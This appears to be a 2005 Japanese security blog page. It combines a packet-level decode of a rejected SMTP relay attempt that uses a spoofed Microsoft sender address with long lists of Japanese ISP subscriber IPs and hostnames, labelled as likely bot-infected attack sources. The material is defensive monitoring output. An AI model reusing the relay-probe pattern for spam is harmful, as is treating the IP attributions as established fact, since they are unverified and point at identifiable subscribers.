46295 2005-12-05 21:25:09.408691 xxx.18.40.229 xxx.87.152.38 SMTP Command: HELO xxx.87.152.38

Frame 46295 (86 bytes on wire, 86 bytes captured)
Ethernet II, Src: 172.16.255.65 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.18.40.229 (xxx.18.40.229), Dst: xxx.87.152.38 (xxx.87.152.38)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 72
Identification: 0x0bb4 (2996)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 235
Protocol: TCP (0x06)
Header checksum: 0x1d86 [correct]
Source: xxx.18.40.229 (xxx.18.40.229)
Destination: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 3857 (3857), Dst Port: smtp (25), Seq: 1, Ack: 110, Len: 20
Source port: 3857 (3857)
Destination port: smtp (25)
Sequence number: 1 (relative sequence number)
Next sequence number: 21 (relative sequence number)
Acknowledgement number: 110 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 32658
Checksum: 0xcc5f [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 48 0b b4 40 00 eb 06 1d 86 da 12 28 e5 cb 57 .H..@.......(..W
0020 98 26 0f 11 00 19 ab ad 62 0c db 24 34 d9 80 18 .&......b..$4...
0030 7f 92 cc 5f 00 00 01 01 08 0a 00 02 89 9f 00 00 ..._............
0040 1f b0 48 45 4c 4f 20 32 30 33 2e 38 37 2e 31 35 ..HELO 203.87.15
0050 32 2e 33 38 0d 0a 2.38..

No. Time Source Destination Protocol Info
46296 2005-12-05 21:25:09.413117 xxx.87.152.38 xxx.18.40.229 SMTP Response: 250 nscindev Hello [xxx.18.40.229]

Frame 46296 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: xxx.87.152.38 (00:0c:29:f3:5b:69), Dst: 172.16.255.65 (00:0d:48:1f:0c:56)
Internet Protocol, Src: xxx.87.152.38 (xxx.87.152.38), Dst: xxx.18.40.229 (xxx.18.40.229)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 88
Identification: 0x007c (124)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 128
Protocol: TCP (0x06)
Header checksum: 0x93ae [correct]
Source: xxx.87.152.38 (xxx.87.152.38)
Destination: xxx.18.40.229 (xxx.18.40.229)
Transmission Control Protocol, Src Port: smtp (25), Dst Port: 3857 (3857), Seq: 110, Ack: 21, Len: 36
Source port: smtp (25)
Destination port: 3857 (3857)
Sequence number: 110 (relative sequence number)
Next sequence number: 146 (relative sequence number)
Acknowledgement number: 21 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 64220
Checksum: 0xb1cf [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0d 48 1f 0c 56 00 0c 29 f3 5b 69 08 00 45 00 ..H..V..).[i..E.
0010 00 58 00 7c 40 00 80 06 93 ae cb 57 98 26 da 12 .X.|@......W .&..
0020 28 e5 00 19 0f 11 db 24 34 d9 ab ad 62 20 80 18 (......$4...b ..
0030 fa dc b1 cf 00 00 01 01 08 0a 00 00 1f b8 00 02 ................
0040 89 9f 32 35 30 20 6e 73 63 69 6e 64 65 76 20 48 ..250 nscindev H
0050 65 6c 6c 6f 20 5b 32 31 38 2e 31 38 2e 34 30 2e ello [218.18.40.
0060 32 32 39 5d 0d 0a 229]..

No. Time Source Destination Protocol Info
46300 2005-12-05 21:25:10.419646 xxx.18.40.229 xxx.87.152.38 SMTP Command: MAIL FROM: <support@microsoft.com >

Frame 46300 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 172.16.255.65 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.18.40.229 (xxx.18.40.229), Dst: xxx.87.152.38 (xxx.87.152.38)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 88
Identification: 0x0c12 (3090)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 235
Protocol: TCP (0x06)
Header checksum: 0x1d18 [correct]
Source: xxx.18.40.229 (xxx.18.40.229)
Destination: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 3857 (3857), Dst Port: smtp (25), Seq: 21, Ack: 146, Len: 36
Source port: 3857 (3857)
Destination port: smtp (25)
Sequence number: 21 (relative sequence number)
Next sequence number: 57 (relative sequence number)
Acknowledgement number: 146 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 32622
Checksum: 0x7a61 [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 58 0c 12 40 00 eb 06 1d 18 da 12 28 e5 cb 57 .X..@.......(..W
0020 98 26 0f 11 00 19 ab ad 62 20 db 24 34 fd 80 18 .&......b .$4...
0030 7f 6e 7a 61 00 00 01 01 08 0a 00 02 89 a9 00 00 .nza............
0040 1f b8 4d 41 49 4c 20 46 52 4f 4d 3a 20 3c 73 75 ..MAIL FROM: <su
0050 70 70 6f 72 74 40 6d 69 63 72 6f 73 6f 66 74 2e pport@microsoft .
0060 63 6f 6d 3e 0d 0a com>..

No. Time Source Destination Protocol Info
46301 2005-12-05 21:25:10.423273 xxx.87.152.38 xxx.18.40.229 SMTP Response: 250 2.1.0 support@microsoft.com....Sender OK

Frame 46301 (112 bytes on wire, 112 bytes captured)
Ethernet II, Src: xxx.87.152.38 (00:0c:29:f3:5b:69), Dst: 172.16.255.65 (00:0d:48:1f:0c:56)
Internet Protocol, Src: xxx.87.152.38 (xxx.87.152.38), Dst: xxx.18.40.229 (xxx.18.40.229)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 98
Identification: 0x007d (125)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 128
Protocol: TCP (0x06)
Header checksum: 0x93a3 [correct]
Source: xxx.87.152.38 (xxx.87.152.38)
Destination: xxx.18.40.229 (xxx.18.40.229)
Transmission Control Protocol, Src Port: smtp (25), Dst Port: 3857 (3857), Seq: 146, Ack: 57, Len: 46
Source port: smtp (25)
Destination port: 3857 (3857)
Sequence number: 146 (relative sequence number)
Next sequence number: 192 (relative sequence number)
Acknowledgement number: 57 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 64184
Checksum: 0x97f6 [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0d 48 1f 0c 56 00 0c 29 f3 5b 69 08 00 45 00 ..H..V..).[i..E.
0010 00 62 00 7d 40 00 80 06 93 a3 cb 57 98 26 da 12 .b.}@......W .&..
0020 28 e5 00 19 0f 11 db 24 34 fd ab ad 62 44 80 18 (......$4...bD..
0030 fa b8 97 f6 00 00 01 01 08 0a 00 00 1f c1 00 02 ................
0040 89 a9 32 35 30 20 32 2e 31 2e 30 20 73 75 70 70 ..250 2.1.0 supp
0050 6f 72 74 40 6d 69 63 72 6f 73 6f 66 74 2e 63 6f ort@microsoft.co
0060 6d 2e 2e 2e 2e 53 65 6e 64 65 72 20 4f 4b 0d 0a m....Sender OK..

No. Time Source Destination Protocol Info
46304 2005-12-05 21:25:11.232449 xxx.18.40.229 xxx.87.152.38 SMTP Command: RCPT TO: <support@microsoft.com >

Frame 46304 (100 bytes on wire, 100 bytes captured)
Ethernet II, Src: 172.16.255.65 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.18.40.229 (xxx.18.40.229), Dst: xxx.87.152.38 (xxx.87.152.38)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 86
Identification: 0x0c4d (3149)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 235
Protocol: TCP (0x06)
Header checksum: 0x1cdf [correct]
Source: xxx.18.40.229 (xxx.18.40.229)
Destination: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 3857 (3857), Dst Port: smtp (25), Seq: 57, Ack: 192, Len: 34
Source port: 3857 (3857)
Destination port: smtp (25)
Sequence number: 57 (relative sequence number)
Next sequence number: 91 (relative sequence number)
Acknowledgement number: 192 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 32576
Checksum: 0xbe66 [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 56 0c 4d 40 00 eb 06 1c df da 12 28 e5 cb 57 .V.M@.......(..W
0020 98 26 0f 11 00 19 ab ad 62 44 db 24 35 2b 80 18 .&......bD.$5+..
0030 7f 40 be 66 00 00 01 01 08 0a 00 02 89 b0 00 00 .@.f ............
0040 1f c1 52 43 50 54 20 54 4f 3a 20 3c 73 75 70 70 ..RCPT TO: <supp
0050 6f 72 74 40 6d 69 63 72 6f 73 6f 66 74 2e 63 6f ort@microsoft.co
0060 6d 3e 0d 0a m>..

No. Time Source Destination Protocol Info
46305 2005-12-05 21:25:11.234536 xxx.87.152.38 xxx.18.40.229 SMTP Response: 550 5.7.1 Unable to relay for support@microsoft.com

Frame 46305 (119 bytes on wire, 119 bytes captured)
Ethernet II, Src: xxx.87.152.38 (00:0c:29:f3:5b:69), Dst: 172.16.255.65 (00:0d:48:1f:0c:56)
Internet Protocol, Src: xxx.87.152.38 (xxx.87.152.38), Dst: xxx.18.40.229 (xxx.18.40.229)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 105
Identification: 0x007e (126)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 128
Protocol: TCP (0x06)
Header checksum: 0x939b [correct]
Source: xxx.87.152.38 (xxx.87.152.38)
Destination: xxx.18.40.229 (xxx.18.40.229)
Transmission Control Protocol, Src Port: smtp (25), Dst Port: 3857 (3857), Seq: 192, Ack: 91, Len: 53
Source port: smtp (25)
Destination port: 3857 (3857)
Sequence number: 192 (relative sequence number)
Next sequence number: 245 (relative sequence number)
Acknowledgement number: 91 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 64150
Checksum: 0x925b [correct]
Options: (12 bytes)
SEQ/ACK analysis
Simple Mail Transfer Protocol

0000 00 0d 48 1f 0c 56 00 0c 29 f3 5b 69 08 00 45 00 ..H..V..).[i..E.
0010 00 69 00 7e 40 00 80 06 93 9b cb 57 98 26 da 12 .i.~@......W .&..
0020 28 e5 00 19 0f 11 db 24 35 2b ab ad 62 66 80 18 (......$5+..bf..
0030 fa 96 92 5b 00 00 01 01 08 0a 00 00 1f ca 00 02 ...[............
0040 89 b0 35 35 30 20 35 2e 37 2e 31 20 55 6e 61 62 ..550 5.7.1 Unab
0050 6c 65 20 74 6f 20 72 65 6c 61 79 20 66 6f 72 20 le to relay for
0060 73 75 70 70 6f 72 74 40 6d 69 63 72 6f 73 6f 66 support@microsof
0070 74 2e 63 6f 6d 0d 0a t.com..

【サイバー犯罪事件簿】2005年12月9日-10日11:00まで

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.125.227.51 ASAHI-NET-CIDR-BLK-JP i227051.ppp.asahi-net.or.jp
218.45.165.34 ASAHI-NET-CIDR-BLK-JP k165034.ppp.asahi-net.or.jp
218.45.168.93 ASAHI-NET-CIDR-BLK-JP k168093.ppp.asahi-net.or.jp
218.45.171.3 ASAHI-NET-CIDR-BLK-JP k171003.ppp.asahi-net.or.jp
218.45.171.214 ASAHI-NET-CIDR-BLK-JP k171214.ppp.asahi-net.or.jp
218.45.177.107 ASAHI-NET-CIDR-BLK-JP k177107.ppp.asahi-net.or.jp
218.45.177.221 ASAHI-NET-CIDR-BLK-JP k177221.ppp.asahi-net.or.jp
219.121.44.224 ASAHI-NET-CIDR-BLK-JP m044224.ppp.asahi-net.or.jp
219.121.47.199 ASAHI-NET-CIDR-BLK-JP m047199.ppp.asahi-net.or.jp
218.42.7.209 BIGLOBE-4 FLA1Aae209.szo.mesh.ad.jp
218.42.61.133 BIGLOBE-4 FLA1Aaq133.tky.mesh.ad.jp
218.42.66.229 BIGLOBE-4 FLA1Acw229.tky.mesh.ad.jp
218.42.74.78 BIGLOBE-4 FLH1Aal078.gnm.mesh.ad.jp
218.42.74.200 BIGLOBE-4 FLH1Aal200.gnm.mesh.ad.jp
218.42.98.178 BIGLOBE-4 FLA1Aak178.aic.mesh.ad.jp
218.42.109.177 BIGLOBE-4 FLA1Aac177.fko.mesh.ad.jp
202.142.224.36 CHUDEN r-202-142-224-36.commufa.jp
218.45.6.44 CYBERLINKS f298.nnc.or.jp
218.45.6.78 CYBERLINKS f332.nnc.or.jp
218.45.11.223 CYBERLINKS f1493.nnc.or.jp
218.45.11.247 CYBERLINKS f1517.nnc.or.jp
218.45.101.123 DS-NETWORKS bflets-fa-west-4-123.dsn.jp
218.45.104.229 DS-NETWORKS flets-a-west-9-229.dsn.jp
218.45.106.104 DS-NETWORKS flets-a-west-11-104.dsn.jp
218.45.107.184 DS-NETWORKS flets-a-west-12-184.dsn.jp
218.45.109.97 DS-NETWORKS flets-a-west-14-97.dsn.jp
218.45.110.49 DS-NETWORKS flets-a-west-15-49.dsn.jp
218.45.110.68 DS-NETWORKS flets-a-west-15-68.dsn.jp
218.45.110.89 DS-NETWORKS flets-a-west-15-89.dsn.jp
218.45.110.251 DS-NETWORKS flets-a-west-15-251.dsn.jp
218.45.79.138 EACCESS 218.45.79.138.eo.eaccess.ne.jp
218.45.139.41 HCTV-NET u21845139041.hctv.ne.jp
218.226.218.42 INFOWEB ohta117042.catv.ppp.infoweb.ne.jp
218.229.35.150 INFOWEB ntgifu014150.gifu.nt.adsl.ppp.infoweb.ne.jp
218.40.115.61 KCB-NET cm061405.kcb-net.ne.jp
61.117.15.36 KDDI-NET M015036.ppp.dion.ne.jp
218.42.199.22 K-OPTICOM 218-42-199-22.eonet.ne.jp
218.42.200.115 K-OPTICOM 218-42-200-115.eonet.ne.jp
218.42.200.189 K-OPTICOM 218-42-200-189.eonet.ne.jp
218.42.210.83 K-OPTICOM 218-42-210-83.eonet.ne.jp
218.42.210.116 K-OPTICOM 218-42-210-116.eonet.ne.jp
218.42.223.42 K-OPTICOM 218-42-223-42.eonet.ne.jp
218.42.225.71 K-OPTICOM 218-42-225-71.eonet.ne.jp
218.42.226.171 K-OPTICOM 218-42-226-171.eonet.ne.jp
218.42.228.42 K-OPTICOM 218-42-228-42.eonet.ne.jp
218.42.243.146 K-OPTICOM 218-42-243-146.eonet.ne.jp
218.228.225.132 K-OPTICOM 218-228-225-132.eonet.ne.jp
218.43.5.106 OCN p6106-ipad02niigatani.niigata.ocn.ne.jp
218.43.73.239 OCN p3239-ipad01koufu.yamanashi.ocn.ne.jp
218.43.173.231 OCN p3231-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.206.140 OCN p1140-ipad11sasajima.aichi.ocn.ne.jp
218.43.213.20 OCN p2020-ipad02gifu.gifu.ocn.ne.jp
218.43.234.168 OCN p5168-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.238.154 OCN p4154-ipad01miyazaki.miyazaki.ocn.ne.jp
218.43.238.164 OCN p4164-ipad01miyazaki.miyazaki.ocn.ne.jp
218.44.20.171 PLALA i218-44-20-171.s05.a028.ap.plala.or.jp
218.44.35.10 PLALA i218-44-35-10.s04.a013.ap.plala.or.jp
218.44.69.148 PLALA i218-44-69-148.s02.a035.ap.plala.or.jp
218.44.79.54 PLALA i218-44-79-54.s01.a021.ap.plala.or.jp
218.44.101.148 PLALA i218-44-101-148.s02.a041.ap.plala.or.jp
218.44.106.189 PLALA i218-44-106-189.s02.a045.ap.plala.or.jp
218.44.111.60 PLALA i218-44-111-60.s02.a046.ap.plala.or.jp
218.44.113.231 PLALA i218-44-113-231.s02.a047.ap.plala.or.jp
218.44.115.44 PLALA i218-44-115-44.s02.a006.ap.plala.or.jp
218.44.121.153 PLALA i218-44-121-153.s02.a001.ap.plala.or.jp
218.44.123.245 PLALA i218-44-123-245.s02.a027.ap.plala.or.jp
218.47.153.199 PLALA i218-47-153-199.s02.a023.ap.plala.or.jp
218.47.205.182 PLALA i218-47-205-182.s02.a012.ap.plala.or.jp
218.224.188.66 PLALA i218-224-188-66.s02.a022.ap.plala.or.jp
222.150.168.27 PLALA i222-150-168-27.s02.a043.ap.plala.or.jp
218.41.13.20 SO-NET p290d14.kyotnt01.ap.so-net.ne.jp
218.41.39.246 SO-NET p2927f6.szoknt01.ap.so-net.ne.jp
218.41.42.207 SO-NET p292acf.fksmnt01.ap.so-net.ne.jp
218.41.51.226 SO-NET p2933e2.tokynt01.ap.so-net.ne.jp
218.41.75.169 SO-NET p294ba9.kngwnt01.ap.so-net.ne.jp

UNYUN

ハッカー・プログラミング大全

【サイバー犯罪事件簿】2005年12月8日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

221.250.160.186 Japan 2N3K-NETWOK1 www.web-station.net
218.45.166.212 Japan ASAHI-NET-CIDR-BLK-JP k166212.ppp.asahi-net.or.jp
218.45.168.42 Japan ASAHI-NET-CIDR-BLK-JP k168042.ppp.asahi-net.or.jp
218.45.168.81 Japan ASAHI-NET-CIDR-BLK-JP k168081.ppp.asahi-net.or.jp
218.45.169.49 Japan ASAHI-NET-CIDR-BLK-JP k169049.ppp.asahi-net.or.jp
218.45.169.64 Japan ASAHI-NET-CIDR-BLK-JP k169064.ppp.asahi-net.or.jp
218.45.169.82 Japan ASAHI-NET-CIDR-BLK-JP k169082.ppp.asahi-net.or.jp
218.45.178.61 Japan ASAHI-NET-CIDR-BLK-JP k178061.ppp.asahi-net.or.jp
218.45.178.63 Japan ASAHI-NET-CIDR-BLK-JP k178063.ppp.asahi-net.or.jp
218.45.178.86 Japan ASAHI-NET-CIDR-BLK-JP k178086.ppp.asahi-net.or.jp
218.45.179.72 Japan ASAHI-NET-CIDR-BLK-JP k179072.ppp.asahi-net.or.jp
218.42.7.93 Japan BIGLOBE-4 FLA1Aae093.szo.mesh.ad.jp
218.42.71.180 Japan BIGLOBE-4 FLA1Aal180.kng.mesh.ad.jp
218.42.83.11 Japan BIGLOBE-4 FLA1Aac011.ygc.mesh.ad.jp
218.42.99.59 Japan BIGLOBE-4 FLA1Aad059.hyg.mesh.ad.jp
218.42.109.222 Japan BIGLOBE-4 FLA1Aac222.fko.mesh.ad.jp
218.42.115.209 Japan BIGLOBE-4 FLH1Aad017.szo.mesh.ad.jp
218.40.120.83 Japan CATV-NET cm083.cavy17.catvnet.ne.jp
218.40.120.170 Japan CATV-NET cm170.cavy17.catvnet.ne.jp
218.45.6.161 Japan CYBERLINKS f415.nnc.or.jp
218.45.6.163 Japan CYBERLINKS f417.nnc.or.jp
218.45.6.200 Japan CYBERLINKS f454.nnc.or.jp
218.45.9.189 Japan CYBERLINKS f1205.nnc.or.jp
202.216.49.69 Japan DS-NETWORKS flets-a-west-2-69.dsn.jp
218.45.96.9 Japan DS-NETWORKS flets-i-as-east-2-9.dsn.jp
218.45.105.128 Japan DS-NETWORKS flets-a-west-10-128.dsn.jp
218.45.106.4 Japan DS-NETWORKS flets-a-west-11-4.dsn.jp
218.45.108.138 Japan DS-NETWORKS flets-a-west-13-138.dsn.jp
218.45.108.165 Japan DS-NETWORKS flets-a-west-13-165.dsn.jp
218.45.109.117 Japan DS-NETWORKS flets-a-west-14-117.dsn.jp
218.45.110.94 Japan DS-NETWORKS flets-a-west-15-94.dsn.jp
218.45.110.230 Japan DS-NETWORKS flets-a-west-15-230.dsn.jp
218.33.203.249 Japan EACCESS 218.33.203.249.eo.eaccess.ne.jp
218.45.75.143 Japan EACCESS 218.45.75.143.eo.eaccess.ne.jp
218.45.84.25 Japan EACCESS 218.45.84.25.eo.eaccess.ne.jp
218.45.84.75 Japan EACCESS 218.45.84.75.eo.eaccess.ne.jp
218.45.59.77 Japan GUNMANET pfuj77.wind.ne.jp
218.45.139.20 Japan HCTV-NET u21845139020.hctv.ne.jp
218.45.139.41 Japan HCTV-NET u21845139041.hctv.ne.jp
203.81.14.158 Japan HNB pegasus.nissanchem.co.jp
125.30.5.10 Japan IIJ-CIDR-BLK-JP 10.5.30.125.dy.iij4u.or.jp
219.104.138.85 Japan INFOWEB ntaich044085.aich.nt.adsl.ppp.infoweb.ne.jp
222.158.188.104 Japan INFOWEB tetkyo082104.tkyo.te.ftth2.ppp.infoweb.ne.jp
202.214.211.182 Japan K-ISIT-NET
218.42.204.158 Japan K-OPTICOM 218-42-204-158.eonet.ne.jp
218.42.210.239 Japan K-OPTICOM 218-42-210-239.eonet.ne.jp
218.42.211.50 Japan K-OPTICOM 218-42-211-50.eonet.ne.jp
218.42.223.91 Japan K-OPTICOM 218-42-223-91.eonet.ne.jp
218.42.223.213 Japan K-OPTICOM 218-42-223-213.eonet.ne.jp
218.42.239.178 Japan K-OPTICOM 218-42-239-178.eonet.ne.jp
218.42.243.216 Japan K-OPTICOM 218-42-243-216.eonet.ne.jp
218.42.243.252 Japan K-OPTICOM 218-42-243-252.eonet.ne.jp
218.42.244.58 Japan K-OPTICOM 218-42-244-58.eonet.ne.jp
218.42.244.78 Japan K-OPTICOM 218-42-244-78.eonet.ne.jp
218.42.246.51 Japan K-OPTICOM 218-42-246-51.eonet.ne.jp
218.42.246.80 Japan K-OPTICOM 218-42-246-80.eonet.ne.jp
218.42.246.101 Japan K-OPTICOM 218-42-246-101.eonet.ne.jp
218.42.248.164 Japan K-OPTICOM 218-42-248-164.eonet.ne.jp
218.228.166.113 Japan K-OPTICOM 218-228-166-113.eonet.ne.jp
219.122.136.235 Japan K-OPTICOM 219-122-136-235.eonet.ne.jp
218.45.41.112 Japan MCTV-NET f041112.mctv.ne.jp
61.203.230.163 Japan M-NET 163.061203230.m-net.ne.jp
218.45.20.123 Japan NETFOREST 218-45-20-123.flets.kamome.or.jp
218.43.5.36 Japan OCN p6036-ipad02niigatani.niigata.ocn.ne.jp
218.43.37.95 Japan OCN p3095-ipbf409marunouchi.tokyo.ocn.ne.jp
218.43.40.95 Japan OCN p2095-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.41.193 Japan OCN p3193-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.42.82 Japan OCN p4082-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.132.28 Japan OCN p2028-ipad12sasajima.aichi.ocn.ne.jp
218.43.139.136 Japan OCN p3136-ipad13sasajima.aichi.ocn.ne.jp
218.43.153.235 Japan OCN p3235-ipad01matsue.shimane.ocn.ne.jp
218.43.155.191 Japan OCN p1191-ipad02yamaguchi.yamaguchi.ocn.ne.jp
218.43.161.97 Japan OCN p3097-ipad01kanazawa.ishikawa.ocn.ne.jp
218.43.237.167 Japan OCN p5167-ipad01oomichi.oita.ocn.ne.jp
220.105.153.60 Japan OCN p1060-ipbf04otsu.shiga.ocn.ne.jp
221.187.234.56 Japan OCN p2056-ipbf12okayamaima.okayama.ocn.ne.jp
222.149.239.113 Japan OCN p4113-ipbf710marunouchi.tokyo.ocn.ne.jp
218.46.189.9 Japan ODN EATcf-296p9.ppp15.odn.ne.jp
218.218.153.11 Japan ODN NWTfa-03p4-11.ppp11.odn.ad.jp
60.35.185.82 Japan PLALA i60-35-185-82.s05.a013.ap.plala.or.jp
218.44.20.192 Japan PLALA i218-44-20-192.s05.a028.ap.plala.or.jp
218.44.36.243 Japan PLALA i218-44-36-243.s05.a013.ap.plala.or.jp
218.44.39.144 Japan PLALA i218-44-39-144.s05.a013.ap.plala.or.jp
218.44.88.15 Japan PLALA i218-44-88-15.s02.a030.ap.plala.or.jp
218.44.93.80 Japan PLALA i218-44-93-80.s02.a035.ap.plala.or.jp
218.44.98.43 Japan PLALA i218-44-98-43.s02.a039.ap.plala.or.jp
218.44.101.223 Japan PLALA i218-44-101-223.s02.a041.ap.plala.or.jp
218.44.111.135 Japan PLALA i218-44-111-135.s02.a046.ap.plala.or.jp
218.44.112.143 Japan PLALA i218-44-112-143.s02.a047.ap.plala.or.jp
218.44.117.130 Japan PLALA i218-44-117-130.s02.a015.ap.plala.or.jp
218.44.119.196 Japan PLALA i218-44-119-196.s02.a002.ap.plala.or.jp
218.44.120.156 Japan PLALA i218-44-120-156.s02.a006.ap.plala.or.jp
218.44.121.11 Japan PLALA i218-44-121-11.s02.a001.ap.plala.or.jp
218.44.121.80 Japan PLALA i218-44-121-80.s02.a001.ap.plala.or.jp
218.47.28.232 Japan PLALA i218-47-28-232.s02.a013.ap.plala.or.jp
218.41.1.38 Japan SO-NET p290126.aicint01.ap.so-net.ne.jp
218.41.39.123 Japan SO-NET p29277b.szoknt01.ap.so-net.ne.jp
218.41.43.101 Japan SO-NET p292b65.fksmnt01.ap.so-net.ne.jp
218.41.45.92 Japan SO-NET p292d5c.kgsmnt01.ap.so-net.ne.jp
218.41.62.25 Japan SO-NET p293e19.tokynt01.ap.so-net.ne.jp
218.41.87.106 Japan SO-NET p29576a.kmmtnt01.ap.so-net.ne.jp
218.41.94.75 Japan SO-NET p295e4b.miygnt01.ap.so-net.ne.jp
218.41.108.100 Japan SO-NET p296c64.aicint01.ap.so-net.ne.jp
218.41.114.180 Japan SO-NET p2972b4.simnnt01.ap.so-net.ne.jp
218.41.117.237 Japan SO-NET p2975ed.kngwnt01.ap.so-net.ne.jp
218.41.118.207 Japan SO-NET p2976cf.kngwnt01.ap.so-net.ne.jp
218.41.118.218 Japan SO-NET p2976da.kngwnt01.ap.so-net.ne.jp
218.110.36.145 Japan SO-NET p6e2491.osaknt01.ap.so-net.ne.jp

一瀬 小夜, 星沢 裕二, 三輪 信雄

ウイルスの原理と対策―インターネットセキュリティ

【サイバー犯罪事件簿】2005年12月4日-7日

----------------------------
■不正アクセス(国別分布)
----------------------------

----------------------------
■不正なアクセス(日本が送信元の攻撃)
----------------------------
210.167.124.179 Japan ASAHI-NET-CIDR-BLK-JP r124179.ppp.asahi-net.or.jp
218.216.152.104 Japan CC22 cc22-218-216-152-104.cc22.ne.jp
218.220.130.176 Japan JCOM-NET zaqdadc82b0.zaq.ne.jp
218.220.27.182 Japan JCOM-NET zaqdadc1bb6.zaq.ne.jp
218.220.86.45 Japan JCOM-NET zaqdadc562d.zaq.ne.jp
218.220.94.176 Japan JCOM-NET zaqdadc5eb0.zaq.ne.jp
218.220.97.153 Japan JCOM-NET zaqdadc6199.zaq.ne.jp
218.223.104.212 Japan DEODEO-NET AirH-32K-512.enjoy.ne.jp
218.226.242.92 Japan InfoWeb-CIDR-BLK-JP nkno114092.catv.ppp.infoweb.ne.jp
218.226.53.164 Japan INFOWEB ntnara011164.nara.nt.adsl.ppp.infoweb.ne.jp
218.227.228.198 Japan BIGLOBE-5 FLA1Aar198.kng.mesh.ad.jp
218.227.68.229 Japan BIGLOBE-5 eAc1Abh229.osk.mesh.ad.jp
218.228.155.83 Japan K-OPTICOM 218-228-155-83.eonet.ne.jp
218.229.19.226 Japan InfoWeb-CIDR-BLK-JP ntsitm032226.sitm.nt.adsl.ppp.infoweb.ne.jp
218.231.115.82 Japan EACCESS 218.231.115.82.eo.eaccess.ne.jp
218.251.23.225 Japan K-OPTICOM 218-251-23-225.eonet.ne.jp
218.251.25.62 Japan K-OPTICOM 218-251-25-62.eonet.ne.jp
218.33.204.136 Japan EACCESS 218.33.204.136.eo.eaccess.ne.jp
218.40.120.83 Japan CATV-NET cm083.cavy17.catvnet.ne.jp
218.40.124.149 Japan CATV-NET cm149.cavy21.catvnet.ne.jp
218.41.100.117 Japan SO-NET p296475.sitmnt01.ap.so-net.ne.jp
218.41.100.244 Japan SO-NET p2964f4.sitmnt01.ap.so-net.ne.jp
218.41.114.180 Japan SO-NET p2972b4.simnnt01.ap.so-net.ne.jp
218.41.12.10 Japan SO-NET p290c0a.kyotnt01.ap.so-net.ne.jp
218.41.39.151 Japan SO-NET p292797.szoknt01.ap.so-net.ne.jp
218.41.6.101 Japan SO-NET p290665.chibnt01.ap.so-net.ne.jp
218.41.62.77 Japan SO-NET p293e4d.tokynt01.ap.so-net.ne.jp
218.41.84.31 Japan SO-NET p29541f.aomrnt01.ap.so-net.ne.jp
218.42.16.67 Japan BIGLOBE-4 eAc1Abr067.tky.mesh.ad.jp
218.42.200.6 Japan K-OPTICOM 218-42-200-6.eonet.ne.jp
218.42.206.218 Japan K-OPTICOM 218-42-206-218.eonet.ne.jp
218.42.210.10 Japan K-OPTICOM 218-42-210-10.eonet.ne.jp
218.42.210.110 Japan K-OPTICOM 218-42-210-110.eonet.ne.jp
218.42.210.77 Japan K-OPTICOM 218-42-210-77.eonet.ne.jp
218.42.211.185 Japan K-OPTICOM 218-42-211-185.eonet.ne.jp
218.42.211.203 Japan K-OPTICOM 218-42-211-203.eonet.ne.jp
